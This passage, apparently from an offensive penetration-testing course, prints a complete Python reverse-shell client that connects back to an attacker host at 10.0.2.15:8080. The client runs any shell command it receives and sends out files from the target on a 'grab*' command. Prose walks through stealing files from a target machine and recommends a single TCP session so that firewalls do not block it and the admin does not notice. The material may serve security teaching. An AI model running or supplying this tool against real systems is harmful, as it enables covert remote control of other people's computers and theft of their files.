Now, let's take a look at the client side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# TCP Data Exfiltration Client
import socket
import subprocess
import os # needed for file operations
# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker
# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the
# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
# if we received grab keyword from the attacker, then this is an indicator for
# file transfer operation, hence we will split the received commands into two
# parts, the second part which we intrested in contains the file path, so we will
# store it into a variable called path and pass it to transfer function
# Remember the Formula is grab*<File Path>
# Example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command:
grab,path = command.split('*')
try: # when it comes to low level file transfer, a lot of things can go wrong, therefore
# we use exception handling (try and except) to protect our script from being crashed
# in case something went wrong, we will send the error that happened and pass the exception
transfer(s,path)
except Exception,e:
s.send ( str(e) ) # send the exception error
pass
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() )
s.send( CMD.stderr.read() )
def main ():
connect()
main()
As mentioned previously, both the client and the server must agree on the grab formula. So, on the client side, if we receive a grab string, we will split the command into two sections, the section before * and the section after *, where the second section contains the path and we will store the path in the path variable. Now, to make sure that our script will not crash if something goes wrong during the transfer, we will use the exception handler.
Next, we send the path variable to the transfer function. So, the first thing that we'll do in the transfer function is to check whether the requested file exists in the first place or not. If not, then we'll send the 'Unable to find out the file' message to the server.
Next, we will read the file as pieces or chunks, where each piece or each chunk has a value of 1 KB, and we will loop around until we reach the end of the file. And when we do so, we need to send an indicator or a tag to the server side to indicate that we have reached the end of the file. So, the DONE string in the preceding code block is to indicate that we have reached the end of the file.
Now, on the server side, we create a placeholder or file holder. We will store the received bytes in test.png, which is the file holder here. When the control enters the loop, and each time we read 1 KB of data, it's written into test.png. When it receives the DONE string, it means that we have reached the end of the file. So, the file is closed and the loop ends. Also, if the server gets Unable to find the file, it will print this out and break the loop.
Now, run the server script again and we'll be listening to port 8080. Once we run the script on the target side, we get the shell. Next, proceed to the directory and try to grab Module2.pdf by running the grab*Module2.pdf command:
When we type the aforementioned command, it will trigger the if statement on both the client side as well as the server side. So, on the target when we receive a grab*Module2.pdf, we will split up this command into two parts. The second part contains Module2.pdf, which is the file that we want to grab. We will store it in the path variable as discussed previously. The code will check whether the file exists, read it in chunks, and send it over to the server side. This gives a response at the server side: [+] Transfer completed.
Find the file on your desktop, it's called 1.txt now, change the file extension to .pdf, and rename the file, since we know that this is not an image but only a placeholder. Now, open Module2.pdf using any PDF reader just to make sure that the file is not corrupt. It'll open without any errors if it hasn't been corrupted.
Let's try with another one. Now, we'll grab Tulips.png:
Since the file that we want to grab has the same extension as our file holder, which is .png, we don't need to change the file extension.
Try to grab any file that exists but the same rule applies here: change the name of the file with its original extension. Let's try with a file that does not exist. Go back to our shell, and type grab*blaaaah.exe and it will throw an error, as shown in the following image:
This will crash our script on the target side, which you will see when you run ipconfig.
You were probably expecting us to use a well-known protocol such as FTP, SCP, or secure FTP to do the file transfer. But we used a very low-level file transfer over a TCP socket, so you might ask why we performed it. Since these well-known protocols could be blocked on the firewall, we won't be able to grab any files out. What we have done here is, instead of initiating a new channel every time we want to transfer a file which may trigger the admin's attention, create a single TCP socket, a single session, to gain access, doing a remote shell, as well as for file transfer. This type of transfer is called an inline transfer, where we got a single channel and a single session to perform all the desired actions.